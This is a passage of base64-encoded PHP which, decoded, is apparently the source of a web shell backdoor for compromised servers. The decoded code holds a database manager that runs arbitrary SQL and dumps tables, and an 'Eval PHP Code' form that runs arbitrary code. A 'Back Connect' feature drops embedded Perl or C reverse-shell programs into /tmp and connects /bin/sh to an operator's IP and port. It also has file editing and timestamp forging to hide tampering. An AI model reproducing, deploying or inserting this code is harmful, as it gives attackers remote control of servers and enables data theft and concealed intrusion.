aGVhZCI+Jyk7CgkJCQkJcCgnPHRkPkZpZWxkPC90ZD4nKTsKCQkJCQlwKCc8dGQ+VHlwZTwvdGQ+
Jyk7CgkJCQkJcCgnPHRkPk51bGw8L3RkPicpOwoJCQkJCXAoJzx0ZD5LZXk8L3RkPicpOwoJCQkJ
CXAoJzx0ZD5EZWZhdWx0PC90ZD4nKTsKCQkJCQlwKCc8dGQ+RXh0cmE8L3RkPicpOwoJCQkJCXAo
JzwvdHI+Jyk7CgkJCQkJZm9yZWFjaCAoJHJvd2RiIGFzICRyb3cpIHsKCQkJCQkJJHRoaXNiZyA9
IGJnKCk7CgkJCQkJCXAoJzx0ciBjbGFzcz0iJy4kdGJnLiciIG9ubW91c2VvdmVyPSJ0aGlzLmNs
YXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJHRiZy4n
XCc7Ij4nKTsKCQkJCQkJcCgnPHRkPicuJHJvd1snRmllbGQnXS4nPC90ZD4nKTsKCQkJCQkJcCgn
PHRkPicuJHJvd1snVHlwZSddLic8L3RkPicpOwoJCQkJCQlwKCc8dGQ+Jy4kcm93WydOdWxsJ10u
JyZuYnNwOzwvdGQ+Jyk7CgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ0tleSddLicmbmJzcDs8L3RkPicp
OwoJCQkJCQlwKCc8dGQ+Jy4kcm93WydEZWZhdWx0J10uJyZuYnNwOzwvdGQ+Jyk7CgkJCQkJCXAo
Jzx0ZD4nLiRyb3dbJ0V4dHJhJ10uJyZuYnNwOzwvdGQ+Jyk7CgkJCQkJCXAoJzwvdHI+Jyk7CgkJ
CQkJfQoJCQkJCXRiZm9vdCgpOwoJCQkJfSBlbHNlaWYoJGRvaW5nID09ICdpbnNlcnQnIHx8ICRk
b2luZyA9PSAnZWRpdCcpIHsKCQkJCQkkcmVzdWx0ID0gcSgnU0hPVyBDT0xVTU5TIEZST00gJy4k
dGFibGVuYW1lKTsKCQkJCQl3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQp
KSB7CgkJCQkJCSRyb3dkYltdID0gJHJvdzsKCQkJCQl9CgkJCQkJJHJzID0gYXJyYXkoKTsKCQkJ
CQlpZigkZG9pbmcgPT0gJ2luc2VydCcpIHsKCQkJCQkJcCgnPGgyPkluc2VydCBuZXcgbGluZSBp
biAnLiR0YWJsZW5hbWUuJyB0YWJsZSAmcmFxdW87PC9oMj4nKTsKCQkJCQl9IGVsc2UgewoJCQkJ
CQlwKCc8aDI+VXBkYXRlIHJlY29yZCBpbiAnLiR0YWJsZW5hbWUuJyB0YWJsZSAmcmFxdW87PC9o
Mj4nKTsKCQkJCQkJJHdoZXJlID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsKCQkJCQkJJHJlc3Vs
dCA9IHEoIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUgTElNSVQgMSIpOwoJ
CQkJCQkkcnMgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KTsKCQkJCQl9CgkJCQkJcCgnPGZv
cm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IicuJHNlbGYuJyI+Jyk7CgkJCQkJcCgkZGJmb3JtKTsK
CQkJCQltYWtlaGlkZSgnaGF6Jywnc3FsYWRtaW4nKTsKCQkJCQltYWtlaGlkZSgndGFibGVuYW1l
JywkdGFibGVuYW1lKTsKCQkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIg
Y2VsbHNwYWNpbmc9IjAiPicpOwoJCQkJCWZvcmVhY2ggKCRyb3dkYiBhcyAkcm93KSB7CgkJCQkJ
CWlmKCRyc1skcm93WydGaWVsZCddXSkgewoJCQkJCQkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFy
cygkcnNbJHJvd1snRmllbGQnXV0sRU5UX1FVT1RFUyk7CgkJCQkJCX0gZWxzZSB7CgkJCQkJCQkk
dmFsdWUgPSAnJzsKCQkJCQkJfQoJCQkJCQkkdGJnID0gYmcoKTsKCQkJCQkJcCgnPHRyIGNsYXNz
PSInLiR0YmcuJyIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91
c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnJy4kdGJnLidcJzsiPicpOwoJCQkJCQlwKCc8dGQ+PGI+
Jy4kcm93WydGaWVsZCddLic8L2I+PGJyIC8+Jy4kcm93WydUeXBlJ10uJzwvdGQ+PHRkPjx0ZXh0
YXJlYSBjbGFzcz0iYXJlYSIgbmFtZT0iaW5zZXJ0c3FsWycuJHJvd1snRmllbGQnXS4nXSIgc3R5
bGU9IndpZHRoOjUwMHB4O2hlaWdodDo2MHB4O292ZXJmbG93OmF1dG87Ij4nLiR2YWx1ZS4nPC90
ZXh0YXJlYT48L3RkPjwvdHI+Jyk7CgkJCQkJfQoJCQkJCWlmKCRkb2luZyA9PSAnaW5zZXJ0Jykg
ewoJCQkJCQlwKCc8dHIgY2xhc3M9IicuYmcoKS4nIj48dGQgY29sc3Bhbj0iMiI+PGlucHV0IGNs
YXNzPSJidCIgdHlwZT0ic3VibWl0IiBuYW1lPSJpbnNlcnQiIHZhbHVlPSJJbnNlcnQiIC8+PC90
ZD48L3RyPicpOwoJCQkJCX0gZWxzZSB7CgkJCQkJCXAoJzx0ciBjbGFzcz0iJy5iZygpLiciPjx0
ZCBjb2xzcGFuPSIyIj48aW5wdXQgY2xhc3M9ImJ0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InVwZGF0
ZSIgdmFsdWU9IlVwZGF0ZSIgLz48L3RkPjwvdHI+Jyk7CgkJCQkJCW1ha2VoaWRlKCdiYXNlNjQn
LCAkYmFzZTY0KTsKCQkJCQl9CgkJCQkJcCgnPC90YWJsZT48L2Zvcm0+Jyk7CgkJCQl9IGVsc2Ug
ewoJCQkJCSRxdWVyeXMgPSBAZXhwbG9kZSgnOycsJHNxbF9xdWVyeSk7CgkJCQkJZm9yZWFjaCgk
cXVlcnlzIGFzICRudW09PiRxdWVyeSkgewoJCQkJCQlpZigkcXVlcnkpIHsKCQkJCQkJCXAoIjxw
PjxiPlF1ZXJ5I3skbnVtfSA6ICIuaHRtbHNwZWNpYWxjaGFycygkcXVlcnksRU5UX1FVT1RFUyku
IjwvYj48L3A+Iik7CgkJCQkJCQlzd2l0Y2gocXkoJHF1ZXJ5KSkgewoJCQkJCQkJCWNhc2UgMDoK
CQkJCQkJCQlwKCc8aDI+RXJyb3IgOiAnLm15c3FsX2Vycm9yKCkuJzwvaDI+Jyk7CgkJCQkJCQkJ
YnJlYWs7CgkJCQkJCQkJY2FzZSAxOgoJCQkJCQkJCWlmKHN0cnRvbG93ZXIoc3Vic3RyKCRxdWVy
eSwwLDEzKSkgPT0gJ3NlbGVjdCAqIGZyb20nKSB7CgkJCQkJCQkJCSRhbGxvd2VkaXQgPSAxOwoJ
CQkJCQkJCX0KCQkJCQkJCQlpZigkZ2V0bnVtc3FsKSB7CgkJCQkJCQkJCSR0YXRvbCA9IG15c3Fs
X251bV9yb3dzKHEoJGdldG51bXNxbCkpOwoJCQkJCQkJCQkkbXVsdGlwYWdlID0gbXVsdGkoJHRh
dG9sLCAkcGFnZW51bSwgJHBhZ2UsICR0YWJsZW5hbWUpOwoJCQkJCQkJCX0KCQkJCQkJCQlpZigh
JHRhYmxlbmFtZSkgewoJCQkJCQkJCQkkc3FsX2xpbmUgPSBzdHJfcmVwbGFjZShhcnJheSgiXHIi
LCAiXG4iLCAiXHQiKSwgYXJyYXkoJyAnLCAnICcsICcgJyksIHRyaW0oaHRtbHNwZWNpYWxjaGFy
cygkcXVlcnkpKSk7CgkJCQkJCQkJCSRzcWxfbGluZSA9IHByZWdfcmVwbGFjZSgiL1wvXCpbXihc
KlwvKV0qXCpcLy9pIiwgIiAiLCAkc3FsX2xpbmUpOwoJCQkJCQkJCQlwcmVnX21hdGNoX2FsbCgi
L2Zyb21ccytgezAsMX0oW1x3XSspYHswLDF9XHMrL2kiLCRzcWxfbGluZSwkbWF0Y2hlcyk7CgkJ
CQkJCQkJCSR0YWJsZW5hbWUgPSAkbWF0Y2hlc1sxXVswXTsKCQkJCQkJCQl9CgkJCQkJCQkJJHJl
c3VsdCA9IHEoJHF1ZXJ5KTsKCQkJCQkJCQlwKCRtdWx0aXBhZ2UpOwoJCQkJCQkJCXAoJzx0YWJs
ZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCI+Jyk7CgkJCQkJCQkJ
cCgnPHRyIGNsYXNzPSJoZWFkIj4nKTsKCQkJCQkJCQlpZigkYWxsb3dlZGl0KSBwKCc8dGQ+QWN0
aW9uPC90ZD4nKTsKCQkJCQkJCQkkZmllbGRudW0gPSBAbXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0
KTsKCQkJCQkJCQlmb3IoJGk9MDskaTwkZmllbGRudW07JGkrKyl7CgkJCQkJCQkJCSRuYW1lID0g
QG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwgJGkpOwoJCQkJCQkJCQkkdHlwZSA9IEBteXNxbF9m
aWVsZF90eXBlKCRyZXN1bHQsICRpKTsKCQkJCQkJCQkJJGxlbiA9IEBteXNxbF9maWVsZF9sZW4o
JHJlc3VsdCwgJGkpOwoJCQkJCQkJCQlwKCI8dGQgY2xhc3M9XCJud1wiPiRuYW1lPGJyIC8+PHNw
YW4+JHR5cGUoJGxlbik8L3NwYW4+PC90ZD4iKTsKCQkJCQkJCQl9CgkJCQkJCQkJcCgnPC90cj4n
KTsKCQkJCQkJCQl3aGlsZSgkbW4gPSBAbXlzcWxfZmV0Y2hfYXNzb2MoJHJlc3VsdCkpewoJCQkJ
CQkJCQkkdGJnID0gYmcoKTsKCQkJCQkJCQkJcCgnPHRyIGNsYXNzPSInLiR0YmcuJyIgb25tb3Vz
ZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NO
YW1lPVwnJy4kdGJnLidcJzsiPicpOwoJCQkJCQkJCQkkd2hlcmUgPSAkdG1wID0gJGIxID0gJyc7
CgkJCQkJCQkJCWZvcmVhY2goJG1uIGFzICRrZXk9PiRpbnNpZGUpewoJCQkJCQkJCQkJaWYoJGlu
c2lkZSkgewoJCQkJCQkJCQkJJHdoZXJlIC49ICR0bXAuJGtleS4iPSciLmFkZHNsYXNoZXMoJGlu
c2lkZSkuIiciOwoJCQkJCQkJCQkJJHRtcCA9ICcgQU5EICc7CgkJCQkJCQkJCQl9CgkJCQkJCQkJ
CQkkYjEgLj0gJzx0ZCBjbGFzcz0ibnciPicuaHRtbF9jbGVhbigkaW5zaWRlKS4nJm5ic3A7PC90
ZD4nOwoJCQkJCQkJCQl9CgkJCQkJCQkJCSR3aGVyZSA9IGJhc2U2NF9lbmNvZGUoJHdoZXJlKTsK
CQkJCQkJCQlpZigkYWxsb3dlZGl0KSBwKCc8dGQgY2xhc3M9Im53Ij48YSBocmVmPSJqYXZhc2Ny
aXB0OmVkaXRyZWNvcmQoXCdlZGl0XCcsIFwnJy4kd2hlcmUuJ1wnLCBcJycuJHRhYmxlbmFtZS4n
XCcpOyI+RWRpdDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmVkaXRyZWNvcmQoXCdkZWxcJywg
XCcnLiR3aGVyZS4nXCcsIFwnJy4kdGFibGVuYW1lLidcJyk7Ij5EZWw8L2E+PC90ZD4nKTsKCQkJ
CQkJCQlwKCRiMSk7CgkJCQkJCQkJcCgnPC90cj4nKTsKCQkJCQkJCQl1bnNldCgkYjEpOwoJCQkJ
CQkJCX0KCQkJCQkJCQl0YmZvb3QoKTsKCQkJCQkJCQlwKCRtdWx0aXBhZ2UpOwoJCQkJCQkJCWJy
ZWFrOwoJCQkJCQkJCWNhc2UgMjoKCQkJCQkJCQkkYXIgPSBteXNxbF9hZmZlY3RlZF9yb3dzKCk7
CgkJCQkJCQkJcCgnPGgyPmFmZmVjdGVkIHJvd3MgOiA8Yj4nLiRhci4nPC9iPjwvaDI+Jyk7CgkJ
CQkJCQkJYnJlYWs7CgkJCQkJCQl9CgkJCQkJCX0KCQkJCQl9CgkJCQl9CgkJCX0gZWxzZSB7CgkJ
CQkkcXVlcnkgPSBxKCJTSE9XIFRBQkxFIFNUQVRVUyIpOwoJCQkJJHRhYmxlX251bSA9ICR0YWJs
ZV9yb3dzID0gJGRhdGFfc2l6ZSA9IDA7CgkJCQkkdGFibGVkYiA9IGFycmF5KCk7CgkJCQl3aGls
ZSgkdGFibGUgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnkpKSB7CgkJCQkJJGRhdGFfc2l6ZSA9
ICRkYXRhX3NpemUgKyAkdGFibGVbJ0RhdGFfbGVuZ3RoJ107CgkJCQkJJHRhYmxlX3Jvd3MgPSAk
dGFibGVfcm93cyArICR0YWJsZVsnUm93cyddOwoJCQkJCSR0YWJsZVsnRGF0YV9sZW5ndGgnXSA9
IHNpemVjb3VudCgkdGFibGVbJ0RhdGFfbGVuZ3RoJ10pOwoJCQkJCSR0YWJsZV9udW0rKzsKCQkJ
CQkkdGFibGVkYltdID0gJHRhYmxlOwoJCQkJfQoJCQkJJGRhdGFfc2l6ZSA9IHNpemVjb3VudCgk
ZGF0YV9zaXplKTsKCQkJCXVuc2V0KCR0YWJsZSk7CgkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBj
ZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPicpOwoJCQkJcCgnPGZvcm0gYWN0aW9uPSIn
LiRzZWxmLiciIG1ldGhvZD0icG9zdCI+Jyk7CgkJCQltYWtlaGlkZSgnaGF6Jywnc3FsYWRtaW4n
KTsKCQkJCXAoJGRiZm9ybSk7CgkJCQlwKCc8dHIgY2xhc3M9ImhlYWQiPicpOwoJCQkJcCgnPHRk
IHdpZHRoPSIyJSIgYWxpZ249ImNlbnRlciI+PGlucHV0IG5hbWU9ImNoa2FsbCIgdmFsdWU9Im9u
IiB0eXBlPSJjaGVja2JveCIgb25jbGljaz0iQ2hlY2tBbGwodGhpcy5mb3JtKSIgLz48L3RkPicp
OwoJCQkJcCgnPHRkPk5hbWU8L3RkPicpOwoJCQkJcCgnPHRkPlJvd3M8L3RkPicpOwoJCQkJcCgn
PHRkPkRhdGFfbGVuZ3RoPC90ZD4nKTsKCQkJCXAoJzx0ZD5DcmVhdGVfdGltZTwvdGQ+Jyk7CgkJ
CQlwKCc8dGQ+VXBkYXRlX3RpbWU8L3RkPicpOwoJCQkJaWYoJGhpZ2h2ZXIpIHsKCQkJCXAoJzx0
ZD5FbmdpbmU8L3RkPicpOwoJCQkJcCgnPHRkPkNvbGxhdGlvbjwvdGQ+Jyk7CgkJCQl9CgkJCQlw
KCc8L3RyPicpOwoJCQkJZm9yZWFjaCAoJHRhYmxlZGIgYXMgJGtleSA9PiAkdGFibGUpIHsKCQkJ
CQkkdGJnID0gYmcoKTsKCQkJCQlwKCc8dHIgY2xhc3M9IicuJHRiZy4nIiBvbm1vdXNlb3Zlcj0i
dGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcn
LiR0YmcuJ1wnOyI+Jyk7CgkJCQkJcCgnPHRkIGFsaWduPSJjZW50ZXIiIHdpZHRoPSIyJSI+PGlu
cHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ0YWJsZVtdIiB2YWx1ZT0iJy4kdGFibGVbJ05hbWUn
XS4nIiAvPjwvdGQ+Jyk7CgkJCQkJcCgnPHRkPjxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUo
XCcnLiR0YWJsZVsnTmFtZSddLidcJyk7Ij4nLiR0YWJsZVsnTmFtZSddLic8L2E+IFsgPGEgaHJl
Zj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnLCBcJ2luc2VydFwn
KTsiPkluc2VydDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVb
J05hbWUnXS4nXCcsIFwnc3RydWN0dXJlXCcpOyI+U3RydWN0dXJlPC9hPiB8IDxhIGhyZWY9Imph
dmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZVsnTmFtZSddLidcJywgXCdkcm9wXCcpOyI+RHJv
cDwvYT4gXTwvdGQ+Jyk7CgkJCQkJcCgnPHRkPicuJHRhYmxlWydSb3dzJ10uJzwvdGQ+Jyk7CgkJ
CQkJcCgnPHRkPicuJHRhYmxlWydEYXRhX2xlbmd0aCddLic8L3RkPicpOwoJCQkJCXAoJzx0ZD4n
LiR0YWJsZVsnQ3JlYXRlX3RpbWUnXS4nPC90ZD4nKTsKCQkJCQlwKCc8dGQ+Jy4kdGFibGVbJ1Vw
ZGF0ZV90aW1lJ10uJzwvdGQ+Jyk7CgkJCQkJaWYoJGhpZ2h2ZXIpIHsKCQkJCQlwKCc8dGQ+Jy4k
dGFibGVbJ0VuZ2luZSddLic8L3RkPicpOwoJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnQ29sbGF0aW9u
J10uJzwvdGQ+Jyk7CgkJCQkJfQoJCQkJCXAoJzwvdHI+Jyk7CgkJCQl9CgkJCQlwKCc8dHIgY2xh
c3M9IicuYmcoKS4nIj4nKTsKCQkJCXAoJzx0ZD4mbmJzcDs8L3RkPicpOwoJCQkJcCgnPHRkPlRv
dGFsIHRhYmxlczogJy4kdGFibGVfbnVtLic8L3RkPicpOwoJCQkJcCgnPHRkPicuJHRhYmxlX3Jv
d3MuJzwvdGQ+Jyk7CgkJCQlwKCc8dGQ+Jy4kZGF0YV9zaXplLic8L3RkPicpOwoJCQkJcCgnPHRk
IGNvbHNwYW49IicuKCRoaWdodmVyID8gNCA6IDIpLiciPiZuYnNwOzwvdGQ+Jyk7CgkJCQlwKCc8
L3RyPicpOwoJCQkJcCgnPHRyIGNsYXNzPSInLmJnKCkuJyI+PHRkIGNvbHNwYW49IicuKCRoaWdo
dmVyID8gOCA6IDYpLiciPjxpbnB1dCBuYW1lPSJzYXZlYXNmaWxlIiB2YWx1ZT0iMSIgdHlwZT0i
Y2hlY2tib3giIC8+IFNhdmUgYXMgZmlsZSA8aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJwYXRo
IiB2YWx1ZT0iJy5GX1JPT1QuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLidfTXlTUUwuc3FsIiB0eXBl
PSJ0ZXh0IiBzaXplPSI2MCIgLz4gPGlucHV0IGNsYXNzPSJidCIgdHlwZT0ic3VibWl0IiBuYW1l
PSJkb3ducmFyIiB2YWx1ZT0iRXhwb3J0IHNlbGVjdGlvbiB0YWJsZSIgLz48L3RkPjwvdHI+Jyk7
CgkJCQltYWtlaGlkZSgnZG9pbmcnLCdiYWNrdXBteXNxbCcpOwoJCQkJcCgiPC9mb3JtPlxuPC90
YWJsZT4iKTsKCQkJCWZyKCRxdWVyeSk7CgkJCX0KCQl9Cgl9Cgl0YmZvb3QoKTsKCW15c3FsX2Ns
b3NlKCRsbmspOwp9CmVsc2VpZigkaGF6ID09ICdiY29ueCcpIHsKCSEkeW91cmlwICYmICR5b3Vy
aXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKCSEkeW91cnBvcnQgJiYgJHlvdXJwb3J0ID0g
JzEyMzQ1JzsKCSR1c2VkYiA9IGFycmF5KCdwZXJsJz0+J3BlcmwnLCdjJz0+J2MnKTsKJHJ2X2Nv
bm5lY3Q9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR050WkQwZ0lt
eDVibmdpT3cwS0pITjVjM1JsYlQwZ0oyVmphRzhnSW1CMWJtRnRaU0F0WVdBaU8yVmoiLgoiYUc4
Z0ltQnBaR0FpT3k5aWFXNHZjMmduT3cwS0pEQTlKR050WkRzTkNpUjBZWEpuWlhROUpFRlNSMVpi
TUYwN0RRb2tjRzl5ZEQwa1FWSkhWbHN4WFRzTkNpUnBZV1JrY2oxcGJtVjBYMkYwYjI0b0pIUiIu
CiJoY21kbGRDa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlky
dGhaR1J5WDJsdUtDUndiM0owTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0
aUtUIi4KInNOQ2lSd2NtOTBiejFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrN0RRcHpiMk5y
WlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktTQjhm
Q0JrYVdVb0kiLgoia1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pI
QmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENB
aVBpWlRUME5MUlZRaSIuCiJLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNO
Q205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2drYzNsemRHVnRL
VHNOQ21Oc2IzTmxLRk5VUkVsIi4KIk9LVHNOQ21Oc2IzTmxLRk5VUkU5VlZDazdEUXBqYkc5elpT
aFRWRVJGVWxJcE93PT0iOwokcnZfY29ubmVjdF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytE
UW9qYVc1amJIVmtaU0E4YzNsekwzTnZZMnRsZEM1b1BnMEtJMmx1WTJ4MVpHVWdQRzVsZEdsdVpY
UXZhVzR1YUQ0TkNtbHVkQyIuCiJCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDcGhjbWQyVzEw
cERRcDdEUW9nYVc1MElHWmtPdzBLSUhOMGNuVmpkQ0J6YjJOcllXUmtjbDlwYmlCemFXNDdEUW9n
WTJoaGNpQnliWE5iTWpGZFBTSnliIi4KIlNBdFppQWlPeUFOQ2lCa1lXVnRiMjRvTVN3d0tUc05D
aUJ6YVc0dWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nYzJsdUxuTnBibDl3YjNKMElE
MGdhSFJ2Ym5Nb1lYUnZhU2hoY21kMld6SmQiLgoiS1NrN0RRb2djMmx1TG5OcGJsOWhaR1J5TG5O
ZllXUmtjaUE5SUdsdVpYUmZZV1JrY2loaGNtZDJXekZkS1RzZ0RRb2dZbnBsY204b1lYSm5kbHN4
WFN4emRISnNaVzRvWVhKbmRsc3hYU2tyTVN0emRISiIuCiJzWlc0b1lYSm5kbHN5WFNrcE95QU5D
aUJtWkNBOUlITnZZMnRsZENoQlJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dTVkJRVWs5VVQx
OVVRMUFwSURzZ0RRb2dhV1lnS0NoamIyNXVaV04wS0daa0xDIi4KIkFvYzNSeWRXTjBJSE52WTJ0
aFpHUnlJQ29wSUNaemFXNHNJSE5wZW1WdlppaHpkSEoxWTNRZ2MyOWphMkZrWkhJcEtTazhNQ2tn
ZXcwS0lDQWdjR1Z5Y205eUtDSmJMVjBnWTI5dWJtVmpkQ2dwSWlrN0QiLgoiUW9nSUNCbGVHbDBL
REFwT3cwS0lIME5DaUJ6ZEhKallYUW9jbTF6TENCaGNtZDJXekJkS1RzTkNpQnplWE4wWlcwb2Nt
MXpLVHNnSUEwS0lHUjFjRElvWm1Rc0lEQXBPdzBLSUdSMWNESW9abVFzSURFcCIuCiJPdzBLSUdS
MWNESW9abVFzSURJcE93MEtJR1Y0WldOc0tDSXZZbWx1TDNOb0lpd2ljMmdnTFdraUxDQk9WVXhN
S1RzTkNpQmpiRzl6WlNobVpDazdJQTBLZlE9PSI7CmlmKCRzdGFydCAmJiAkeW91cmlwICYmICR5
b3VycG9ydCAmJiAkdXNlKXsKCQlpZigkdXNlID09ICdwZXJsJykgewoJCQlzdl9maWxlKCcvdG1w
L2dvZF9iYycsQGJhc2U2NF9kZWNvZGUoJHJ2X2Nvbm5lY3QpKTsKCQkJJHJlcyA9IG15Y21kKHdo
aWNoKCdwZXJsJykuIiAvdG1wL2dvZF9iYyAkeW91cmlwICR5b3VycG9ydCAmIik7CgkJfSBlbHNl
IHsKCQkJc3ZfZmlsZSgnL3RtcC9nb2RfYmMuYycsQGJhc2U2NF9kZWNvZGUoJHJ2X2Nvbm5lY3Rf
YykpOwoJCQkkcmVzID0gbXljbWQoJ2djYyAtbyAvdG1wL2dvZF9iYyAvdG1wL2dvZF9iYy5jJyk7
CgkJCUB1bmxpbmsoJy90bXAvZ29kX2JjLmMnKTsKCQkJJHJlcyA9IG15Y21kKCIvdG1wL2dvZF9i
YyAkeW91cmlwICR5b3VycG9ydCAmIik7CgkJfQoJCW0oIk5vdyBzY3JpcHQgdHJ5IGNvbm5lY3Qg
dG8gJHlvdXJpcCBwb3J0ICR5b3VycG9ydCAuLi4iKTsKCX0KCWZvcm1oZWFkKGFycmF5KCd0aXRs
ZSc9PidCYWNrIENvbm5lY3QnKSk7CgltYWtlaGlkZSgnaGF6JywnYmNvbngnKTsKCXAoJzxwPicp
OwoJcCgnWW91ciBJUDonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pid5b3VyaXAnLCdzaXpl
Jz0+MjAsJ3ZhbHVlJz0+JHlvdXJpcCkpOwoJcCgnWW91ciBQb3J0OicpOwoJbWFrZWlucHV0KGFy
cmF5KCduYW1lJz0+J3lvdXJwb3J0Jywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiR5b3VycG9ydCkpOwoJ
cCgnVXNlOicpOwoJbWFrZXNlbGVjdChhcnJheSgnbmFtZSc9Pid1c2UnLCdvcHRpb24nPT4kdXNl
ZGIsJ3NlbGVjdGVkJz0+JHVzZSkpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3N0YXJ0Jywn
dmFsdWUnPT4nU3RhcnQnLCd0eXBlJz0+J3N1Ym1pdCcsJ2NsYXNzJz0+J2J0JykpOwoJcCgiPC9w
PlxuPC9mb3JtPiIpOwp9CmVsc2VpZigkaGF6PT0nZXZsJykgewoJJHBocGNvZGU9dHJpbSgkcGhw
Y29kZSk7CglpZigkcGhwY29kZSl7CgkJaWYoIXN0cnN0cigkcGhwY29kZSwnPD8nKSkgeyRwaHBj
b2RlPSI8P3BocFxueyRwaHBjb2RlfVxuPz4iO30KCQlwKCc8cHJlPicpOwoJCWV2YWwoIj8iLiI+
JHBocGNvZGU8PyIpOwoJCWVjaG8nPC9wcmU+JzsKCX0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9
PidFdmFsIFBIUCBDb2RlJykpOwoJbWFrZWhpZGUoJ2hheicsJ2V2bCcpOwoJbWFrZXRleHQoYXJy
YXkoJ3RpdGxlJz0+J1BIUCBDb2RlJywnbmFtZSc9PidwaHBjb2RlJywgJ3ZhbHVlJz0+JHBocGNv
ZGUpKTsKCWZvcm1mb290ZXIoKTsKfQplbHNlaWYoJGhheiA9PSAnZWRpdGZpbGUnKSB7CglpZihm
aWxlX2V4aXN0cygkb3BmaWxlKSkgewoJCSRmcD1AZm9wZW4oJG9wZmlsZSwncicpOwoJCSRjb250
ZW50cz1AZnJlYWQoJGZwLCBmaWxlc2l6ZSgkb3BmaWxlKSk7CgkJQGZjbG9zZSgkZnApOwoJCSRj
b250ZW50cz1odG1sc3BlY2lhbGNoYXJzKCRjb250ZW50cyk7Cgl9Cglmb3JtaGVhZChhcnJheSgn
dGl0bGUnPT4nQ3JlYXRlIC8gRWRpdCBGaWxlJykpOwoJbWFrZWhpZGUoJ2hheicsJ2ZpbGUnKTsK
CW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsKCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nQ3Vy
cmVudCBGaWxlIChpbXBvcnQgbmV3IGZpbGUgbmFtZSBhbmQgbmV3IGZpbGUpJywnbmFtZSc9Pidl
ZGl0ZmlsZW5hbWUnLCd2YWx1ZSc9PiRvcGZpbGUsJ25ld2xpbmUnPT4xKSk7CgltYWtldGV4dChh
cnJheSgndGl0bGUnPT4nRmlsZSBDb250ZW50JywnbmFtZSc9PidmaWxlY29udGVudCcsJ3ZhbHVl
Jz0+JGNvbnRlbnRzKSk7Cglmb3JtZm9vdGVyKCk7Cn0KZWxzZWlmKCRoYXogPT0gJ25ld3RpbWUn
KSB7Cgkkb3BmaWxlbXRpbWUgPSBAZmlsZW10aW1lKCRvcGZpbGUpOwoJJGNhY2hlbW9udGggPSBh
cnJheSgnSmFudWFyeSc9PjEsJ0ZlYnJ1YXJ5Jz0+MiwnTWFyY2gnPT4zLCdBcHJpbCc9PjQsJ01h
eSc9PjUsJ0p1bmUnPT42LCdKdWx5Jz0+NywnQXVndXN0Jz0+OCwnU2VwdGVtYmVyJz0+OSwnT2N0
b2Jlcic9PjEwLCdOb3ZlbWJlcic9PjExLCdEZWNlbWJlcic9PjEyKTsKCWZvcm1oZWFkKGFycmF5
KCd0aXRsZSc9PidDbG9uZSBmaWxlIHdhcyBsYXN0IG1vZGlmaWVkIHRpbWUnKSk7CgltYWtlaGlk
